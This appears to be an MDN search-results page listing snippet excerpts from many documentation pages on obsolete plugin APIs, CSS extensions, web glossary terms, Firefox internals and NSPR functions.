...And 2 more matches
NPP_HandleEvent - Archive of obsolete content
description the browser calls npp_handleevent to tell the plug-in when events take place in the plug-in's window or drawable area.
...for a list of event types the application is responsible for delivering to the plug-in, see the npevent structure.
... mac os the browser does not give a windowed plug-in a native window, because the mac os platform does not support child windows.
...And 2 more matches
NPP_SetWindow - Archive of obsolete content
description the browser calls npp_setwindow after creating the instance to allow drawing to begin.
... subsequent calls to npp_setwindow indicate changes in size or position; these calls pass the same npwindow object each time, but with different values.
...in this case, the plug-in must not perform any additional graphics operations on the window and should free any associated resources.
...And 2 more matches
NP_Initialize - Archive of obsolete content
syntax windows #include <npapi.h> nperror winapi np_initialize(npnetscapefuncs *anpnfuncs) unix #include <npapi.h> nperror np_initialize(npnetscapefuncs *anpnfuncs, nppluginfuncs *anppfuncs) returns if successful, the function returns nperr_no_error.
... description the browser calls this function only once: when a plug-in is loaded, before the first instance is created.
... this is the first function that the browser calls.
...And 2 more matches
NP_Shutdown - Archive of obsolete content
syntax #include <npapi.h> void np_shutdown(void); windows #include <npapi.h> void winapi np_shutdown(void); description the browser calls this function once after the last instance of your plug-in is destroyed, before unloading the plug-in library itself.
... use np_shutdown to delete any data allocated in np_initialize to be shared by all instances of a plug-in.
... if you have defined a java class for your plug-in, be sure to release it at this time so that java can unload it and free up memory.
...And 2 more matches
Why RSS Content Module is Popular - Including HTML Contents - Archive of obsolete content
rss has long had the <description> element that can be used to include the contents of an <item>.
... however, it has become common practice to putxml escaped html data in it.
...you can put (almost) whatever you want in a cdata section.
...And 2 more matches
Getting Started - Archive of obsolete content
introduction this tutorial is an introduction to really simple syndication (rss).
...because of this, you will be creating your own rss files by hand.
... it is not mandatory to create rss files in this tutorial (you can just read on), but this would be a less effective way for you to learn.
...And 2 more matches
Tamarin Tracing Build Documentation - Archive of obsolete content
x86 supported, acceptance and performance tests automated in buildbot windows mobile (pocket pc 5.0) armv4t supported, acceptance and performance tests automated in buildbot raw image (no os) armv5 supported, acceptance and performance tests not done linux (nokia n810) armv5 supported, acceptance and performance tests not done current build status the current tamarin tracing build status can be found at tamarin tracing build status getting the tamarin source the tamarin tracing source resides in mercurial at tamarin tracing.
...for verbose build of tamarin, you can pass cppflags to make.
...any comments, questions or problems can be directed to brent baker how to setup a user repository with the source and patches that will be compiled.
...And 2 more matches
Theme changes in Firefox 3.5 - Archive of obsolete content
third-party themes can still draw a gripper for the scrollbar thumb button by applying a centered background image to the scrollbar's thumb button.
...if your theme uses native checkboxes or radiobuttons (-moz-appearance: radio / checkbox), this can result in distorted controls.
...this can result in unwanted shadows in your theme, e.g.
...And 2 more matches
-ms-accelerator - Archive of obsolete content
the -ms-accelerator css property is a microsoft extension that sets or retrieves a string indicating whether the object represents a keyboard shortcut.
...when the option to "hide keyboard navigation indicators until i use the alt key" is enabled in the user's display properties, the "n" is not underlined until the user presses the alt key.
... <!doctype html> <html> <head> <title>accelerator</title> </head> <body> <label for="oname"><u style="-ms-accelerator: true; accelerator: true">n</u>ame: </label> <input type="text" id="oname" size="25" accesskey="n" value="your name here" /> </body> </html> specifications not part of any specification.
...And 2 more matches
-ms-content-zoom-snap-points - Archive of obsolete content
the -ms-content-zoom-snap-points css property is a microsoft extension that specifies where zoom snap-points are located.
...} specifications not part of any specification.
... when a user pans or scrolls and then lifts his or her contact (for instance, a finger), the content can continue to move with inertia.
...And 2 more matches
-ms-hyphenate-limit-zone - Archive of obsolete content
initial value0applies toblock container elementsinheritedyespercentagescalculated with respect to the width of the line boxcomputed valueas specifiedanimation typediscrete syntax values <percentage> an integer followed by a percent sign (%), which specifies the width of the hyphenation zone, calculated with respect to the line box.
... <length> a floating-point number, followed by a relative units designator, that indicates the width of the hyphenation zone.
... formal syntax <percentage> | <length> specifications not part of any specification.
...And 2 more matches
Namespaces - Archive of obsolete content
you can declare the default namespace for your e4x objects by placing the statement: default xml namespace = "http://www.w3.org/1999/xhtml"; within the same scope as your e4x.
... you can also change namespaces at any time, by repeating the statement.
...the localname property returns the name of the element, without any namespace prefix.
...And 2 more matches
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
new versions of ecmascript specifications are released yearly.
...this year, the es2019 specification will be released and es2020 is the current ecmascript draft specification.
... you can see the latest proposals on the tc39/ecma262 github repository.
...And 2 more matches
VBArray - Archive of obsolete content
remarks vbarrays are read-only, and cannot be created directly.
...this can only be done by retrieving the value from an existing activex or other object.
... vbarrays can have multiple dimensions.
...And 2 more matches
New in JavaScript 1.8.5 - Archive of obsolete content
bug 492845 object.freeze() freezes an object: other code can't delete or change any properties.
... function.prototype.bind() creates a new function that, when called, itself calls this function in the context provided (with a given sequence of arguments).
...bug 520696 function.apply() can accept any array-like object as the arguments list, instead of only true arrays.
...And 2 more matches
JSException - Archive of obsolete content
summary the public class jsexception extends runtimeexception java.lang.object | +----java.lang.throwable | +----java.lang.exception | +----java.lang.runtimeexception | +----netscape.javascript.jsexception description jsexception is an exception which is thrown when javascript code returns an error.
... constructor summary the netscape.javascript.jsexception class has the following constructors: jsexception deprecated constructors optionally let you specify a detail message and other information.
... method summary the netscape.javascript.jsexception class has the following methods: getwrappedexception instance method getwrappedexception.
...And 2 more matches
RDF: Resource Description Framework for metadata - Archive of obsolete content
ArchiveWebRDF
resource description framework (rdf) is a family of specifications for a metadata model that is often implemented as an application of xml.
... the rdf family of specifications is maintained by the world wide web consortium (w3c).
... the rdf metadata model is based upon the idea of making statements about resources in the form of a subject-predicate-object expression, called a triple in rdf terminology.
...And 2 more matches
Sharp variables in JavaScript - Archive of obsolete content
you cannot assign primitives (including strings) to sharp variables.
...you can use this to create objects in a single line of code that would otherwise take multiple lines of code.
... examples multiple references var a = { foo:#1=[], bar:#1# }; a.foo.push("hello"); a.bar.push("there!"); alert(a.foo[1]); // "there!" you can avoid using sharp variables by breaking the declaration up into multiple lines.
...And 2 more matches
background-size - Archive of obsolete content
znerd 04 august 2009 chrome, iron, icab4, omniweb etc.
... are based on webkit, like netscape 6-8, seamonkey, camino, flock, fennec, blackbird etc.
...but we need facts, rather than assumptions.] btw, some time ago i'v listed opera in the property template table and removed netscape because netscape is gecko based and opera has a global market share of > 2% (> 40% in some european countries).
...And 2 more matches
XForms Select Element - Archive of obsolete content
the list of pre-defined items can be specified by either item (see the spec) or itemset (see the spec) elements.
... you can visually group these pre-defined items by using the choices (see the spec) element to contain them.
... incremental - supported, default value is true properties selection - see corresponding attribute incremental - see corresponding attribute type restrictions the select element can be bound to a node containing simple content capable of holding a sequence.
...And 2 more matches
XForms Select1 Element - Archive of obsolete content
the list of pre-defined items can be specified by either item (see the spec) or itemset (see the spec) elements.
... you can visually group these pre-defined items by using the choices (see the spec) element to contain them.
... incremental - supported, default value is true properties selection - see corresponding attribute incremental - see corresponding attribute type restrictions the select1 element can be bound to a node containing simple content.
...And 2 more matches
XForms - Archive of obsolete content
other strengths that xforms brings to the table is the separation of data from presentation, strong data typing, the ability to submit xml data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of devices.
... xforms is a w3c specification.
... xforms support can be added to firefox and seamonkey by installing the mozilla xforms extension.
...And 2 more matches
Move the ball - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson04.html.
...add the following new lines of the code inside update(), as shown: function update() { ball.x += 1; ball.y += 1; } the code above adds 1 to the x and y properties representing the the ball coordinates on the canvas, on each frame.
... compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps the next step is to add some basic collision detection, so our ball can bounce off the walls.
...And 2 more matches
Randomizing gameplay - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson16.html.
... making rebounds more random we can change the ball's velocity depending on the exact spot it hits the paddle, by modifying the x velocity each time the ballhitpaddle() function is run using a line along the lines of the below.
...it ended up that way because of a little bit of experimentation with the given values, you can do your own experimentation and see what happens.
...And 2 more matches
Alpha (alpha channel) - MDN Web Docs Glossary: Definitions of Web-related terms
each of these components is called a channel.
... in a typical image file, the color channels describe how much red, green, and blue are used to make up the final color.
... to represent a color through which the background can be seen to some extent, a fourth channel is added to the color: the alpha channel.
...And 2 more matches
CDN - MDN Web Docs Glossary: Definitions of Web-related terms
a cdn (content delivery network) is a group of servers spread out over many locations.
... these servers store duplicate copies of data so that servers can fulfill data requests based on which servers are closest to the respective end-users.
... most cdns have servers all over the globe, so cdn servers may be geographically nearer to your users than your own servers.
...And 2 more matches
DOM (Document Object Model) - MDN Web Docs Glossary: Definitions of Web-related terms
the dom is one of the most-used apis on the web because it allows code running in a browser to access and interact with every node in the document.
... nodes can be created, moved and changed.
... event listeners can be added to nodes and triggered on occurrence of a given event.
...And 2 more matches
Distributed Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
normally many persons, using many bots, attack high-profile web servers like banks or credit-card payment gateways.
... in a typical ddos attack, the assailant begins by exploiting a vulnerability in one computer system and making it the ddos master.
... there are two types of ddos attacks: a network-centric attack (which overloads a service by using up bandwidth) and an application-layer attack (which overloads a service or database with application calls).
...And 2 more matches
HMAC - MDN Web Docs Glossary: Definitions of Web-related terms
hmac is a protocol used for cryptographically authenticating messages.
... it can use any kind of cryptographic functions, and its strengh depends on the underlying function (sha1 or md5 for instance), and the chosen secret key.
... with such a combination, the hmac verification algorithm is then known with a compound name such as hmac-sha1.
...And 2 more matches
HTML - MDN Web Docs Glossary: Definitions of Web-related terms
html 4.0 was released in 1999 and became an iso standard in 2000.
... at that time, the w3c nearly abandoned html in favor of xhtml, prompting the founding of an independent group called whatwg in 2004.
...there are a few empty or void tags that cannot enclose any text, for instance <img>.
...And 2 more matches
Mutable - MDN Web Docs Glossary: Definitions of Web-related terms
mutable is a type of variable that can be changed.
... (you can make a variable name point to a new value, but the previous value is still held in memory.
... hence the need for garbage collection.) a mutable object is an object whose state can be modified after it is created.
...And 2 more matches
NaN - MDN Web Docs Glossary: Definitions of Web-related terms
nan (not a number) is a numeric data type that means an undefined value or value that cannot be represented, especially results of floating-point calculations.
... for example, nans can represent infinity, result of division by zero, missing value, or the square root of a negative (which is imaginary, whereas a floating-point number is real).
... practically speaking, if i divide two variables in a javascript program, the result may be nan, which is predefined in javascript as "undefined".
...And 2 more matches
Polyfill - MDN Web Docs Glossary: Definitions of Web-related terms
for example, a polyfill could be used to mimic the functionality of an html canvas element on microsoft internet explorer 7 using a silverlight plugin or mimic support for css rem units, or text-shadow, or whatever you want.
...native implementations of apis can do more and are faster than polyfills.
...although this reason for polyfilling is very rare today, it was especially prevalent back in the days of ie6, netscape, and nnav where each browser implemented javascript very differently.
...And 2 more matches
Public-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
the transformation performed by one of the keys can only be undone with the other key.
...this means that anyone can verify a signature, but only the owner of the corresponding private key could have generated it.
...this gives public-key encryption systems an advantage over symmetric encryption systems in that the encryption key can be made public.
...And 2 more matches
REST - MDN Web Docs Glossary: Definitions of Web-related terms
rest(representational state transfer) refers to a group of software architecture design constraints that bring about efficient, reliable and scalable distributed systems.
... a system is called restful when it adhere to those constraints.
...a document, is transferred with its state and relationships via well-defined, standarized operations and formats or services call themselves restful when they directly modify type of document as opposed to triggering actions somewhere.
...And 2 more matches
Request header - MDN Web Docs Glossary: Definitions of Web-related terms
a request header is an http header that can be used in an http request, and that doesn't relate to the content of the message.
... request headers, like accept, accept-*, or if-* allow to perform conditional requests; others like cookie, user-agent, or referer precise the context so that the server can tailor the answer.
...however, these entity headers are often called request headers in such a context.
...And 2 more matches
SVG - MDN Web Docs Glossary: Definitions of Web-related terms
scalable vector graphics (svg) is a 2d vector image format based on an xml syntax.
... the w3c began work on svg in the late 1990s, but svg only became popular when internet explorer 9 came out with svg support.
... based on an xml syntax, svg can be styled with css and made interactive using javascript.
...And 2 more matches
State machine - MDN Web Docs Glossary: Definitions of Web-related terms
a state machine is a mathematical abstraction used to design algorithms.
... looking at the final state, you can discern something about the series of inputs leading to that state.
... non-deterministic finite state machine given some state, an input can lead to more than one different state.
...And 2 more matches
Style origin - MDN Web Docs Glossary: Definitions of Web-related terms
in css, there are three categories of sources for style changes.
... these categories are called style origins.
...these may be from adding styles using a developer tool or from a browser extension that automatically applies custom styles to content, such as stylus or stylish.
...And 2 more matches
Synthetic monitoring - MDN Web Docs Glossary: Definitions of Web-related terms
synthetic monitoring involves monitoring the performance of a page in a 'laboratory' environment, typically with automation tooling in an environment that is as consistent as possible.
... synthetic monitoring involves deploying scripts to simulate the path an end-user might take through a web application, reporting back the performance of the simulator experiences.
...the traffic measured is not of your actual users, but rather synthetically generated traffic collecting data on page performance.
...And 2 more matches
TCP slow start - MDN Web Docs Glossary: Definitions of Web-related terms
tcp slow start helps buildup transmission speeds to the network's capabilities.
... it does this without initially knowing what those capabilities are and without creating congestion.
...it prevents the appearance of network congestion whose capabilities are initially unknown, and slowly increases the volume of information diffused until the network's maximum capacity is found.
...And 2 more matches
Transport Layer Security (TLS) - MDN Web Docs Glossary: Definitions of Web-related terms
transport layer security (tls), formerly known as secure sockets layer (ssl), is a protocol used by applications to communicate securely across a network, preventing tampering with and eavesdropping on email, web browsing, messaging, and other protocols.
... both ssl and tls are client / server protocols that ensure communication privacy by using cryptographic protocols to provide security over a network.
... when a server and client communicate using tls, it ensures that no third party can eavesdrop or tamper with any message.
...And 2 more matches
Transmission Control Protocol (TCP) - MDN Web Docs Glossary: Definitions of Web-related terms
tcp (transmission control protocol) is a transport layer host-to-host protocol for connection-oriented communication between two computers on an ip network.
... tcp uses virtual ports to create a virtual end-to-end connection that can reuse the physical connections between two computers.
... tcp encapsulates higher level protocol data such as http and, smtp (email) .
...And 2 more matches
Array - MDN Web Docs Glossary: Definitions of Web-related terms
this is compared to a variable that can store only one value.
... each item in an array has a number attached to it, called a numeric index, that allows you to access it.
... in javascript, arrays start at index zero and can be manipulated with various methods.
...And 2 more matches
Test your skills: backgrounds and borders - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... assessment or further help you can practice these examples in the interactive editors above.
...you can write the code yourself, or use the starting point files linked to in the above sections.
...And 2 more matches
Normal Flow - Learn web development
and, as we began to discover, you can change how elements behave either by adjusting their position in that normal flow, or removing them from it altogether.
...you can't set width or height on inline elements — they just sit inside the content of block level elements.
...in english therefore, or any other horizontal, top to bottom writing mode, block-level elements are laid out vertically.
...And 2 more matches
Structuring the web with HTML - Learn web development
after learning html, you can then move on to learning about more advanced topics such as: css, and how to use it to style html (for example alter your text size and fonts used, add borders and drop shadows, layout your page with multiple columns, add animations and other visual effects.) javascript, and how to use it to add dynamic functionality to web pages (for example find your location and plot it on a map, make ui ...
...elements appear/disappear when you toggle a button, save users' data locally on their computers, and much much more.) modules this topic contains the following modules, in a suggested order for working through them.
... multimedia and embedding this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages.
...And 2 more matches
JavaScript building blocks - Learn web development
guides making decisions in your code — conditionals in any programming language, code needs to make decisions and carry out actions accordingly depending on different inputs.
...functions allow you to store a piece of code that does a single task inside a defined block, and then call that code whenever you need it using a single short command — rather than having to type out the same code multiple times.
... build your own function with most of the essential theory dealt with previously, this article provides a practical experience.
...And 2 more matches
JavaScript — Dynamic client-side scripting - Learn web development
every time a web page does more than just sit there and display static information for you to look at—displaying timely content updates, interactive maps, animated 2d/3d graphics, scrolling video jukeboxes, or more—you can bet that javascript is probably involved.
... javascript first steps in our first javascript module, we first answer some fundamental questions such as "what is javascript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing javascript.
...you can even create your own objects to encapsulate related functions and variables into efficient packages.
...And 2 more matches
Server-side website programming first steps - Learn web development
server-side web frameworks the last article showed you what a server-side web application needs to do in order to respond to requests from a web browser.
... now we show how web frameworks can simplify these tasks, and help you choose the right framework for your first server-side web application.
...this introductory article won't make you a website security guru, but it will help you understand the first important steps you can take to protect your web application against the most common threats.
...And 2 more matches
Understanding client-side web development tools - Learn web development
client-side tooling can be intimidating, but this series of articles aims to illustrate the purpose of some of the most common client-side tool types, explain the tools you can chain together, how to install them using package managers, and control them using the command line.
...package management basics in this article we'll look at package managers in some detail to understand how we can use them in our own projects — to install project tool dependencies, keep them up-to-date, and more.
...introducing a complete toolchain in the final couple of articles in the series we will solidify your tooling knowledge by walking you through the process of building up a sample case study toolchain.
...And 2 more matches
Chrome Worker Modules
if the your module uri ends with “.js”, you can omit the extension.
...pecial global introduced by require() module.exports = { key: publickey }; once this is done, we may load the module and use the values that have been exported // assuming that mymodule.js is installed to resource://gre/modules/mymodule.js let module = require("resource://gre/modules/mymodule.js") foo(module.key); // module.key == "this is public"; // however, secretkey is not exported and cannot be used for the installation of resources, please see the documentation on moz.build (if your code is part of the platform) or on chrome manifests (if your code is part of an add-on).
...that is, the following will not show human-readable stacks: try { mymodule.foo(); } catch (ex) { log("exception raised at " + ex.filename) log("stack: " + ex.stack); } rather, you should use properties modulename and modulestack, as follows: try { mymodule.foo(); } catch (ex) { log("exception raised at " + ex.modulename) log("stack: " + ex.modulestack); } subtleties you shouldn’t mix both styles exports.foo = bar and module.exports = {foo: bar}.
...And 2 more matches
Adding phishing protection data providers
phishing protection technology lets firefox help protect users by comparing the urls the user visits to a list of known scam sites, and presenting a warning to the user when they visit a site on the list.
... to find an id number to use, you can build a loop that requests the value of browser.safebrowsing.provider.0.name, then browser.safebrowsing.provider.1.name, and so forth until no value is returned.
... then you can use that value.
...And 2 more matches
Building SpiderMonkey with UBSan
/bin/sh if [ -z $1 ] ; then echo "usage: $0 <dirname>" elif [ -d $1 ] ; then echo "directory $1 already exists" else autoconf2.13 autoconf213 mkdir $1 cd $1 llvm_root="$home/llvm" sanflag="-fsanitize=undefined -fno-sanitize=alignment,float-cast-overflow,float-divide-by-zero,vptr -dxmalloc=myxmalloc" \ cc="$llvm_root/build/release+asserts/bin/clang" \ cxx="$llvm_root/build/release+asserts/bin/clang++" \ cflags="$sanflag" \ cxxflags="$sanflag" \ moz_llvm_hacks=1 \ ../configure --enable-debug --disable-optimize make -j 8 fi 3.
...this enables all the cheap undefined behavior checks other than: alignment, which hits known bugs in spidermonkey, and is more implementation-defined (slow on x86 / crash on arm) than undefined behavior float-cast-overflow, which hits known bugs in spidermonkey, and isn't exploited by today's compilers float-divide-by-zero, which jesse doesn't think is actually undefined behavior (aside from the question of whether cpu overflow flags are set) vptr, a check that requires rtti, which is disabled by default in spidermonkey 4.
... the stack trace should show a function such as __ubsan_handle_load_invalid_value or __ubsan_handle_type_mismatch being called by the buggy c++ code.
...And 2 more matches
Cookies Preferences in Mozilla
these preferences apply to most mozilla products (including firefox and seamonkey), however they are application-specific, so not all of them may apply to you.
... network.cookie.cookiebehavior default value: 0 0 = accept all cookies by default 1 = only accept from the originating site (block third party cookies) 2 = block all cookies by default 3 = use p3p settings (note: this is only applicable to older mozilla suite and seamonkey versions.) 4 = storage access policy: block cookies from trackers network.cookie.lifetimepolicy default value: 0 0 = accept cookies normally 1 = prompt for each cookie (prompting was removed in firefox 44) 2 = accept for current session only 3 = accept for n days network.cookie.lifetime.days default value: 90 only used if network.cookie.lifetimepolicy is set to 3 sets the number of days that the lifetime of cookies should be limited to.
...0 network.cookie.maxperhost default value: 50 configures the maximum amount of cookies to be stored per host valid range is from 0-65535, rfc 2109 and 2965 require this to be at least 20 network.cookie.disablecookieformailnews default value: true true = do not accept any cookies from within mailnews or from mail-style uris false = allow cookies in these situations this preference is applicable to all versions of seamonkey.
...And 2 more matches
Windows SDK versions
older versions some of the older version are no longer supported, further information is available at obsolete build caveats and tips [en-us] under the windows sdk article.
... windows 8 sdk (official) features that depend on this sdk include: metro firefox front end gamepad api support you can download the sdk from the microsoft download center [web setup].
... windows 7 sdk features that depend on this sdk include: windows 7 taskbar previews windows 7 download taskbar progress windows 7 jump lists you can download the sdk (v7.0 [web setup or iso image] or unsupported v7.1 [web setup or iso image]) from the microsoft download center.
...And 2 more matches
Index
found 172 pages: # page tags and summary 1 firefox firefox, landing, mozilla here you can learn about how to contribute to the firefox project and you will also find links to information about the construction of firefox add-ons, using the developer tools in firefox, and other topics.
...it became a requirement for building gecko in february 2017 with firefox 54.
...the most useful is the url about:config, which displays preferences and settings that can be inspected and changed.
...And 2 more matches
Frame script environment
you can still access the global directly via this.
...if you want other principals, you can use a sandbox.
... events besides the regular dom events being captured/bubbling up from content the current content object the following additional events get fired in a frame script environment: unload fires when the frame script environment is shut down, i.e.
...And 2 more matches
Limitations of frame scripts
for example: nsifileinputstream nsifileoutputstream constructing a file from a string or nsifile (but file objects can be sent via message manager) htmlinputelement.mozsetfilenamearray (alternative: mozsetfilearray) file: uris, see bug 1187099 <...> xul and browser ui anything that tries to touch the browser ui or anything to do with xul is likely not to work in the content process.
...for example: nsisessionstore nsiwindowmediator <need more examples> places api the places api can't be used inside a frame script.
...in the content process, the root tree item is an nsitabchild, that cannot be converted to an nsidomwindow, so the second getinterface call here will fail.
...And 2 more matches
HTMLIFrameElement.findAll()
the findall() method of the htmliframeelement searches for a string in a browser <iframe>'s text content; if found, the first instance of the string relative to the caret position will be highlighted.
... invoking this method results in a mozbrowserfindchange event firing, which carries details about the search results.
... syntax instanceofhtmliframeelement.findall(searchstring, casesensitivity); returns void.
...And 2 more matches
HTMLIFrameElement.getScreenshot()
the getscreenshot() method of the htmliframeelement lets you request a screenshot of a content <iframe>, scaled to fit within a specified maximum width and height.
... the image will be cropped if necessary but will not be distorted vertically or horizontally.
...its request.onsuccess handler handles the success case (the screenshot is contained in request.result as a blob object), and its request.onerror handler handles the failure case.
...And 2 more matches
mozbrowseractivitydone
postresult and posterror calls made on such an activity will be ignored and have no effect.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
...And 2 more matches
mozbrowserasyncscroll
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
...this indicates that the content is over-scrolled, which occurs when the page "rubber-bands" after being scrolled all the way to the bottom.
...And 2 more matches
mozbrowservisibilitychange
the mozbrowservisibilitychange event is fired when the visibility state of the current browser iframe <iframe> changes, for example due to a call to setvisible().
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
...And 2 more matches
ChromeWorker
summary if you're developing privileged code, and would like to create a worker that can use js-ctypes to perform calls to native code, you can do so by using chromeworker instead of the standard worker object.
...to use a postmessage with callback version of chromeworker that features promises, see promiseworker.
... setsubstitution('my-cool-addon', fileuri); var worker = new worker('resource://my-cool-addon/worker.js'); more references: you can use chromeworker from javascript code modules.
...And 2 more matches
Gecko
in xul-based applications gecko also renders the application's user interface.
... gecko is used in many applications, including a few browsers such as firefox and seamonkey (for a complete list, please refer to wikipedia's article on gecko).
... products using the same version of gecko have identical support for web standards.
...And 2 more matches
How to investigate Disconnect failures
usually disconnects happens when a modal dialog freezes and we cannot close it sp we close firefox with the modal frozen.
... we cannot investigate failures via mozmill, because we do not catch the crashes, so the crashes' information is not logged; we have to go to ci machines and investigate directly.
... check if firefox crashed: windows: [user]/appdata\roaming\mozilla\firefox\crash reports ubuntu: [user/home]/.mozilla/firefox/crash reports and there we can check by timestamp if firefox crashed when we had the disconnect.
...And 2 more matches
How to Report a Hung Firefox
note: this article is intended for developers and technically-knowledgeable users.
...this may be because of a code error within firefox itself, such as a deadlock or infinite loop, or it may be caused by 3rd-party software such as a firefox extension, antivirus software, or even malware or a virus on your computer.
...you can use any process monitoring tool to find the firefox process id (pid).
...And 2 more matches
Introduction to Layout in Mozilla
overview basic data flow key data structures detailed walk-through incrementalism future tech-talks wrap-up, q&a basic data flow source document arrives via network apis incrementally “pumped” through the single-threaded layout engine parse, compute style, render; repeat css used for rendering all content content theoretically separate from “presentation” key data structures content node elements, attributes, leaves dom frame rectangular formatting primitive geometric information [0..n] per content node 2nd thru nth are “continuations” style context non-geometric information may be shared by adjacent frames reference counted, owned by frame ...
... view clipping, z-order, transparency [0..1] per frame, owned by frame widget native window [0..1] per view, owned by view key data structures the document owns the content model, and one or more presentations exposed programmatically via dom apis the presentation owns the frame hierarchy frames own the style contexts, views, widgets presentation has media type, dimensions, etc.
...notifications passes these to the style set object, who in turn passes to the frame constructor frame constructor creates frames constructframeinternal recursively walks content tree, resolves style and creates frames either created by tag (<select>) or by display type (<p>) frame manager maintains mapping from content to frame style resolution compute stylistic i...
...And 2 more matches
Assert.jsm
the assert.jsm javascript code module implements the commonjs unit testing specification version 1.1, which provides a basic, standardized interface for performing in-code logical assertions with optional, customizable error reporting.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://testing-common/assert.jsm"); the assert class offers methods for performing common logical assertions.
... undefined throws( block, expected, message ); parameters block function block to evaluate and catch eventual thrown errors expected test reference to evaluate against the thrown result from block message short explanation of the expected result rejects() expected to reject a promise.
...And 2 more matches
API-provided widgets
to create a widget, you should pass a specification object with its desired properties.
... type a string indicating the type of widget.
... overflows whether widget can overflow when in an overflowable toolbar (optional, default: true) defaultarea default area to add the widget to (optional, default: none; required if non-removable) shortcutid id of an element that has a shortcut for this widget (optional, default: null).
...And 2 more matches
Mozilla projects on GitHub
getting started you can look at code on github without an account.
... most mozilla project code is located in repositories within the mozilla github organization.
... projects this listing covers the larger-scale and more important mozilla projects on github.
...And 2 more matches
Mozilla Style System
nsistyleruleprocessor a style rule processor represents an origin within the css cascade.
...when script dynamically changes the data represented by a css style rule, we create a new nsistylerule object; keeping the old one around briefly helps to determine what changed and how we need to handle that change.
... most callers who interact with the style system do so using the style structs.
...And 2 more matches
GPU performance
doing performance work with gpus is harder than with cpus because of the asynchronous and massively parallel architecture.
... tools pix - can do timing of direct3d calls.
...not that useful for firefox because all of our shaders are pretty simple.
...And 2 more matches
Intel Power Gadget
the main strengths of this tool are (a) it works on windows, unlike most other power-related tools, and (b) it shows this data in graph form, which is occasionally useful.
... intel power gadget can also log these results to a file.
... this feature has been used in energia, roberto vitillo's tool for systematically measuring differential power usage between different browsers.
...And 2 more matches
Debugging out-of-memory problems
by the time about:memory is loaded in a new tab and you have clicked the "measure" button to diagnose what's happened, the memory usage causing the spike has gone away, making temporary memory spikes difficult to diagnose.
... out-of-memory exceptions from js setting memory.dump_reports_on_oom in about:config to true will cause the browser to automatically write about:memory dumps to a temp file printed to the browser console (note: not web console) when an oom crash is encountered.
... out-of-memory crashes in some cases, running out of memory causes the browser to crash.
...And 2 more matches
Emscripten
generated from c/c++ using clang, or from another language) and compiles that into javascript, which can be run on the web.
... using emscripten, you can compile c and c++ code into javascript compile any other code that can be translated into llvm bytecode into javascript.
...web developers also benefit, as they can use the many thousands of pre-existing native utilities and libraries in their sites.
...And 2 more matches
Midas editor module security preferences
to protect users' private information, unprivileged scripts cannot invoke the cut, copy, and paste commands in midas, which is mozilla's rich text editor component.
... warning: changing these preferences can leave your browser insecure, especially if you grant permission to untrusted sites.
... add these lines to user.js: user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org"); user_pref("capability.policy.allowclipboard.clipboard.cutcopy", "allaccess"); user_pref("capability.policy.allowclipboard.clipboard.paste", "allaccess"); change the url https://www.mozilla.org to the site for which you want to enable this function.
...And 2 more matches
NSPR build instructions
these two options can actually be used independently, but it's not recommended.
...nspr build generates a "winnt" configuration by default on windows for historical reasons.
... we recommend most applications use the "win95" configuration.
...And 2 more matches
I/O Types
to refer specifically to the files in a file system (that is, disk files), this documentation uses the termnormal files.
...an i/o function on a prfiledesc structure is carried out by invoking the corresponding "method" in the i/o methods table (a structure of type priomethods) of the prfiledesc structure (the "object").
... different kinds of i/o objects (such as files and sockets) have different i/o methods tables, thus implementing different behavior in response to the same i/o function call.
...And 2 more matches
NSPR Types
calling convention types are used for externally visible functions and globals.
... calling convention types these types are used to support cross-platform declarations of prototypes and implementations: pr_extern is used for declarations of external functions or variables.
... pr_callback is used for definitions and declarations of functions that are called via function pointers.
...And 2 more matches
PRExplodedTime
a clock/calendar representation of times.
... syntax #include <prtime.h> typedef struct prexplodedtime { print32 tm_usec; print32 tm_sec; print32 tm_min; print32 tm_hour; print32 tm_mday; print32 tm_month; print16 tm_year; print8 tm_wday; print16 tm_yday; prtimeparameters tm_params; } prexplodedtime; description the prexplodedtime structure represents clock/calendar time.
...in addition, prexplodedtime includes a prtimeparameters structure representing the local time zone information, so that the time point is non-ambiguously specified.
...And 2 more matches
PR_AttachThread
the thread object is automatically destroyed when it is no longer needed.
... you don't need to call pr_attachthread unless you create your own native thread.
... pr_init calls pr_attachthread automatically for the primordial thread.
...And 2 more matches
PR_CNotify
the calling thread must be in the monitor defined by the value of the address.
... returns pr_success indicates that the calling thread is the holder of the mutex for the monitor referred to by the address parameter.
... pr_failure indicates that the monitor has not been entered by the calling thread.
...And 2 more matches
PR_EnterMonitor
description when the calling thread returns, it will have acquired the monitor's lock.
... attempts to acquire the lock for a monitor that is held by some other thread will result in the caller blocking.
... if the monitor's entry count is greater than zero and the calling thread is recognized as the holder of the lock, pr_entermonitor increments the entry count by one and returns.
...And 2 more matches
PR_GetLibraryName
in case of error, returns null.
...the constructed path name refers to the actual dynamically loaded library.
... it is suitable for use in the pr_loadlibrary call.
...And 2 more matches
PR_Notify
the monitor object referenced must be one for which the calling thread currently holds the lock.
... description notification of a monitor signals the change of state of some monitored data.
... the changing of that data and the notification must all be performed while in the monitor.
...And 2 more matches
PR_NotifyCondVar
if unsuccessful (for example, if the caller has not locked the lock associated with the condition variable), pr_failure.
